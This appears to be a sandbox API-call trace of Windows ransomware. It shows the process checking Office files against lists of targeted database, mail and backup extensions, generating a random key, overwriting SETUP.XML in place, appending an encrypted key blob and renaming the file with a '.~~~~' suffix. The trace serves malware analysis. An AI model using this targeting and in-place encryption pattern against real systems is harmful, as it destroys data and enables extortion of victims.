	[0080.612] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML", lpSrch=".eql") returned 0x0
	[0080.612] lstrlenW (lpString=".DBF") returned 4
	[0080.612] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML", lpSrch=".DBF") returned 0x0
	[0080.612] lstrlenW (lpString=".EQL") returned 4
	[0080.612] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML", lpSrch=".EQL") returned 0x0
	[0080.612] lstrlenW (lpString=".FDB") returned 4
	[0080.612] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML", lpSrch=".FDB") returned 0x0
	[0080.612] lstrlenW (lpString=".EDB") returned 4
	[0080.612] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML", lpSrch=".EDB") returned 0x0
	[0080.612] lstrlenW (lpString=".DACPAC") returned 7
	[0080.612] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML", lpSrch=".DACPAC") returned 0x0
	[0080.612] lstrlenW (lpString=".VHD") returned 4
	[0080.612] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML", lpSrch=".VHD") returned 0x0
	[0080.612] lstrlenW (lpString=".DBV") returned 4
	[0080.613] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML", lpSrch=".DBV") returned 0x0
	[0080.613] lstrlenW (lpString=".dacpac") returned 7
	[0080.613] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML", lpSrch=".dacpac") returned 0x0
	[0080.613] lstrlenW (lpString=".sdf") returned 4
	[0080.613] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML", lpSrch=".sdf") returned 0x0
	[0080.613] lstrlenW (lpString=".accdb") returned 6
	[0080.613] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML", lpSrch=".accdb") returned 0x0
	[0080.613] lstrlenW (lpString=".DBX") returned 4
	[0080.613] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML", lpSrch=".DBX") returned 0x0
	[0080.613] lstrlenW (lpString=".MDT") returned 4
	[0080.613] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML", lpSrch=".MDT") returned 0x0
	[0080.613] lstrlenW (lpString=".SQB") returned 4
	[0080.613] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML", lpSrch=".SQB") returned 0x0
	[0080.613] lstrlenW (lpString=".vhd") returned 4
	[0080.613] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML", lpSrch=".vhd") returned 0x0
	[0080.613] lstrlenW (lpString=".bac") returned 4
	[0080.613] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML", lpSrch=".bac") returned 0x0
	[0080.613] lstrlenW (lpString=".mdf") returned 4
	[0080.613] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML", lpSrch=".mdf") returned 0x0
	[0080.613] lstrlenW (lpString=".BAK") returned 4
	[0080.613] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML", lpSrch=".BAK") returned 0x0
	[0080.613] lstrlenW (lpString=".BAC") returned 4
	[0080.613] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML", lpSrch=".BAC") returned 0x0
	[0080.613] lstrlenW (lpString=".dbs") returned 4
	[0080.613] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML", lpSrch=".dbs") returned 0x0
	[0080.613] lstrlenW (lpString=".vhdx") returned 5
	[0080.613] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML", lpSrch=".vhdx") returned 0x0
	[0080.613] lstrlenW (lpString=".NDF") returned 4
	[0080.614] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML", lpSrch=".NDF") returned 0x0
	[0080.614] lstrlenW (lpString=".dat") returned 4
	[0080.614] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML", lpSrch=".dat") returned 0x0
	[0080.614] lstrlenW (lpString=".DBS") returned 4
	[0080.614] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML", lpSrch=".DBS") returned 0x0
	[0080.614] lstrlenW (lpString=".CKP") returned 4
	[0080.614] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML", lpSrch=".CKP") returned 0x0
	[0080.614] lstrlenW (lpString=".edb") returned 4
	[0080.614] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML", lpSrch=".edb") returned 0x0
	[0080.614] lstrlenW (lpString=".PST") returned 4
	[0080.614] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML", lpSrch=".PST") returned 0x0
	[0080.614] lstrlenW (lpString=".dbf") returned 4
	[0080.614] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML", lpSrch=".dbf") returned 0x0
	[0080.614] lstrlenW (lpString=".SQL") returned 4
	[0080.614] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML", lpSrch=".SQL") returned 0x0
	[0080.614] lstrlenW (lpString=".pst") returned 4
	[0080.614] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML", lpSrch=".pst") returned 0x0
	[0080.614] lstrlenW (lpString=".dbv") returned 4
	[0080.614] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML", lpSrch=".dbv") returned 0x0
	[0080.614] lstrlenW (lpString=".SDF") returned 4
	[0080.614] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML", lpSrch=".SDF") returned 0x0
	[0080.614] lstrlenW (lpString=".dtxs") returned 5
	[0080.614] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML", lpSrch=".dtxs") returned 0x0
	[0080.614] lstrlenW (lpString=".db3") returned 4
	[0080.614] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML", lpSrch=".db3") returned 0x0
	[0080.614] lstrlenW (lpString=".OST") returned 4
	[0080.614] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML", lpSrch=".OST") returned 0x0
	[0080.615] lstrlenW (lpString=".dbx") returned 4
	[0080.615] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML", lpSrch=".dbx") returned 0x0
	[0080.615] lstrlenW (lpString=".DB3") returned 4
	[0080.615] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML", lpSrch=".DB3") returned 0x0
	[0080.615] lstrlenW (lpString=".DAT") returned 4
	[0080.615] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML", lpSrch=".DAT") returned 0x0
	[0080.615] lstrlenW (lpString=".VHDX") returned 5
	[0080.615] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML", lpSrch=".VHDX") returned 0x0
	[0080.615] lstrlenW (lpString=".ndf") returned 4
	[0080.615] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML", lpSrch=".ndf") returned 0x0
	[0080.615] lstrlenW (lpString=".DB") returned 3
	[0080.615] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML", lpSrch=".DB") returned 0x0
	[0080.615] lstrlenW (lpString=".sql") returned 4
	[0080.615] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML", lpSrch=".sql") returned 0x0
	[0080.615] lstrlenW (lpString=".MYD") returned 4
	[0080.615] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML", lpSrch=".MYD") returned 0x0
	[0080.615] lstrlenW (lpString=".DBT") returned 4
	[0080.615] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML", lpSrch=".DBT") returned 0x0
	[0080.615] lstrlenW (lpString=".ACCDB") returned 6
	[0080.615] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML", lpSrch=".ACCDB") returned 0x0
	[0080.615] lstrlenW (lpString=".fdb") returned 4
	[0080.615] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML", lpSrch=".fdb") returned 0x0
	[0080.615] lstrlenW (lpString=".bak") returned 4
	[0080.615] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML", lpSrch=".bak") returned 0x0
	[0080.615] lstrlenW (lpString=".myd") returned 4
	[0080.615] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML", lpSrch=".myd") returned 0x0
	[0080.615] lstrlenW (lpString=".DTXS") returned 5
	[0080.615] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML", lpSrch=".DTXS") returned 0x0
	[0080.615] lstrlenW (lpString=".ckp") returned 4
	[0080.616] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML", lpSrch=".ckp") returned 0x0
	[0080.616] lstrlenW (lpString=".dbt") returned 4
	[0080.616] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML", lpSrch=".dbt") returned 0x0
	[0080.616] lstrlenW (lpString=".db") returned 3
	[0080.616] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML", lpSrch=".db") returned 0x0
	[0080.616] lstrlenW (lpString=".TXT") returned 4
	[0080.616] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML", lpSrch=".TXT") returned 0x0
	[0080.616] lstrlenW (lpString=".MDF") returned 4
	[0080.616] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML", lpSrch=".MDF") returned 0x0
	[0080.616] lstrlenW (lpString=".bdb") returned 4
	[0080.616] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML", lpSrch=".bdb") returned 0x0
	[0080.616] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0080.616] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0080.616] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804470
	[0080.616] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0080.616] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x39fe28) returned 1
	[0080.618] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0080.618] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0080.618] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0080.618] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0080.618] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x3ce910
	[0080.618] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=20060814992) returned 1
	[0080.618] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x99e7def0, dwHighDateTime=0x1d60e1e)) 
	[0080.618] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0080.618] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0080.618] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0080.618] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39e1f0
	[0080.618] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0080.618] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39e1f0 | out: hHeap=0x300000) returned 1
	[0080.618] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0080.618] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0080.618] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b56f8
	[0080.618] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0080.619] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b2160
	[0080.619] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b56f8 | out: hHeap=0x300000) returned 1
	[0080.619] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0080.619] GetLastError () returned 0x0
	[0080.619] GetLastError () returned 0x0
	[0080.619] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0080.619] GetLastError () returned 0x0
	[0080.619] GetLastError () returned 0x0
	[0080.619] ReadFile (in: hFile=0x118, lpBuffer=0x281bfd8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x281bfd8*, lpNumberOfBytesRead=0x24dfec0*=0x5ac, lpOverlapped=0x0) returned 1
	[0080.674] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xfffffa54, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0080.674] WriteFile (in: hFile=0x118, lpBuffer=0x281bfd8*, nNumberOfBytesToWrite=0x5ac, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x281bfd8*, lpNumberOfBytesWritten=0x24dfec0*=0x5ac, lpOverlapped=0x0) returned 1
	[0080.674] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x281bfd8 | out: hHeap=0x300000) returned 1
	[0080.674] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0080.698] WriteFile (in: hFile=0x118, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0080.698] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0080.698] WriteFile (in: hFile=0x118, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0080.702] CloseHandle (hObject=0x118) returned 1
	[0080.706] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x2801810
	[0080.706] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\setup.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\setup.xml.~~~~")) returned 1
	[0080.779] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2801810 | out: hHeap=0x300000) returned 1
	[0080.779] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0080.779] GetLastError () returned 0x0
	[0080.779] RtlWakeConditionVariable () returned 0x365f70
	[0080.779] GetCurrentThreadId () returned 0x3a4
	[0080.779] GetCurrentThreadId () returned 0x3a4
	[0080.779] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x27fefe8
	[0080.779] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39d328 | out: hHeap=0x300000) returned 1
	[0080.779] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280be08 | out: hHeap=0x300000) returned 1
	[0080.779] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x28012a0
	[0080.779] lstrlenW (lpString=".scr") returned 4
	[0080.779] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OSETUPUI.DLL", lpSrch=".scr") returned 0x0
	[0080.779] lstrlenW (lpString=".cmd") returned 4
	[0080.779] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OSETUPUI.DLL", lpSrch=".cmd") returned 0x0
	[0080.779] lstrlenW (lpString=".dll") returned 4
	[0080.779] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OSETUPUI.DLL", lpSrch=".dll") returned 0x0
	[0080.779] lstrlenW (lpString=".bat") returned 4
	[0080.779] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OSETUPUI.DLL", lpSrch=".bat") returned 0x0
	[0080.779] lstrlenW (lpString=".cpl") returned 4
	[0080.779] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OSETUPUI.DLL", lpSrch=".cpl") returned 0x0
	[0080.779] lstrlenW (lpString=".sys") returned 4
	[0080.779] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OSETUPUI.DLL", lpSrch=".sys") returned 0x0
	[0080.779] lstrlenW (lpString=".msc") returned 4
	[0080.779] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OSETUPUI.DLL", lpSrch=".msc") returned 0x0
	[0080.780] lstrlenW (lpString=".com") returned 4
	[0080.780] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OSETUPUI.DLL", lpSrch=".com") returned 0x0
	[0080.780] lstrlenW (lpString=".lnk") returned 4
	[0080.780] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OSETUPUI.DLL", lpSrch=".lnk") returned 0x0
	[0080.780] lstrlenW (lpString=".msp") returned 4
	[0080.780] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OSETUPUI.DLL", lpSrch=".msp") returned 0x0
	[0080.780] lstrlenW (lpString=".pif") returned 4
	[0080.780] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OSETUPUI.DLL", lpSrch=".pif") returned 0x0
	[0080.780] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0080.780] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OSETUPUI.DLL", lpSrch="msp\r\n.pif") returned 0x0
	[0080.780] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OSETUPUI.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\osetupui.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124
	[0080.788] lstrlenW (lpString=".sqb") returned 4
	[0080.788] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OSETUPUI.DLL", lpSrch=".sqb") returned 0x0
	[0080.788] lstrlenW (lpString=".ost") returned 4
	[0080.788] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OSETUPUI.DLL", lpSrch=".ost") returned 0x0
	[0080.788] lstrlenW (lpString=".txt") returned 4
	[0080.788] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OSETUPUI.DLL", lpSrch=".txt") returned 0x0
	[0080.788] lstrlenW (lpString=".mdt") returned 4
	[0080.789] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OSETUPUI.DLL", lpSrch=".mdt") returned 0x0
	[0080.789] lstrlenW (lpString=".BDB") returned 4
	[0080.789] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OSETUPUI.DLL", lpSrch=".BDB") returned 0x0
	[0080.789] lstrlenW (lpString=".eql") returned 4
	[0080.789] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OSETUPUI.DLL", lpSrch=".eql") returned 0x0
	[0080.789] lstrlenW (lpString=".DBF") returned 4
	[0080.789] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OSETUPUI.DLL", lpSrch=".DBF") returned 0x0
	[0080.789] lstrlenW (lpString=".EQL") returned 4
	[0080.789] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OSETUPUI.DLL", lpSrch=".EQL") returned 0x0
	[0080.789] lstrlenW (lpString=".FDB") returned 4
	[0080.789] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OSETUPUI.DLL", lpSrch=".FDB") returned 0x0
	[0080.789] lstrlenW (lpString=".EDB") returned 4
	[0080.789] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OSETUPUI.DLL", lpSrch=".EDB") returned 0x0
	[0080.789] lstrlenW (lpString=".DACPAC") returned 7
	[0080.789] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OSETUPUI.DLL", lpSrch=".DACPAC") returned 0x0
	[0080.789] lstrlenW (lpString=".VHD") returned 4
	[0080.789] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OSETUPUI.DLL", lpSrch=".VHD") returned 0x0
	[0080.789] lstrlenW (lpString=".DBV") returned 4
	[0080.789] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OSETUPUI.DLL", lpSrch=".DBV") returned 0x0
	[0080.789] lstrlenW (lpString=".dacpac") returned 7
	[0080.789] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OSETUPUI.DLL", lpSrch=".dacpac") returned 0x0
